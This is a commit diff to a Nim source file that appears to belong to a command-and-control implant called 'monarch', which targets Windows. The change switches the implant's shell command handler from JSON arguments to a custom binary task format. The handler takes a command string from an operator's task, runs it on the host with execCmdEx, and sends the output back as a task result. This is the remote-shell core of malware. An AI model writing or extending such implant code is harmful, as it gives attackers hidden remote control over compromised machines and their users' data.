Implemented communication with custom binary structure instead of JSON requests

src/agents/monarch/commands/shell.nim

@@ -1,30 +1,35 @@
-import winim, osproc, strutils, strformat, base64, json
+import winim, osproc, strutils, strformat
 
-import ../common/types
+import ../task/result
+import ../[utils, agentTypes]
+import ../../../common/types
 
-proc taskShell*(task: Task): TaskResult = 
+proc taskShell*(config: AgentConfig, task: Task): TaskResult = 
 
-    # # Parse arguments JSON string to obtain specific values 
-    # let 
-    #     params = parseJson(task.args)
-    #     command = params["command"].getStr()
-    #     arguments = params["arguments"].getStr()
+    try: 
+        var 
+            command: string 
+            arguments: string
 
-    # echo fmt"Executing command {command} with arguments {arguments}"
+        # Parse arguments 
+        case int(task.argCount): 
+        of 1: # Only the command has been passed as an argument
+            command = task.args[0].data.toString()
+            arguments = ""
+        of 2: # The optional 'arguments' parameter was included
+            command = task.args[0].data.toString()
+            arguments = task.args[1].data.toString()
+        else:  
+            discard 
 
-    # try: 
-    #     let (output, status) = execCmdEx(fmt("{command} {arguments}")) 
-    #     return TaskResult(
-    #         task: task.id, 
-    #         agent: task.agent, 
-    #         data: encode(output),
-    #         status: Completed 
-    #     )
+        echo fmt"   [>] Executing: {command} {arguments}."
 
-    # except CatchableError as err: 
-    #     return TaskResult(
-    #         task: task.id, 
-    #         agent: task.agent, 
-    #         data: encode(fmt"An error occured: {err.msg}" & "\n"),
-    #         status: Failed 
-    #     )
+        let (output, status) = execCmdEx(fmt("{command} {arguments}")) 
+
+        if output != "":
+            return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
+        else: 
+            return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
+
+    except CatchableError as err: 
+        return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())